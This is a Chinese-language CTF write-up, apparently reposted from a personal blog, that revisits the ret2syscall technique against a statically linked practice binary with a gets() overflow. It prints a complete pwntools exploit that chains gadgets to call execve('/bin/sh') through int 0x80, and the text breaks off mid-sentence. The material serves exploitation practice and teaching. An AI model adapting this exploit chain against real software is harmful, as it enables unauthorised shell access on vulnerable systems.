首页 > 其他 > 详细

再识ret2syscall

时间:2020-03-14 00:15:01      阅读:96      评论:0      收藏:0      [点我收藏+]

  当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。

  IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc版本,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。

  IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。

 技术分享图片

  截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。

 1 from pwn import *
 2 
 3 p = process(./ret2syscall)
 4 
 5 binsh_addr = 0x080be408
 6 pop_eax = 0x080bb196
 7 pop_edx_ecx_ebx = 0x0806eb90
 8 int80_addr = 0x08049421
 9 
10 payload = a*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
11 
12 p.sendline(payload)
13 p.interactive()

  这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。

  技术分享图片

  

  直接main函数一个gets溢出,然后就没了。我这里还是和上个题一样,

 

再识ret2syscall

原文:https://www.cnblogs.com/bhxdn/p/12489812.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!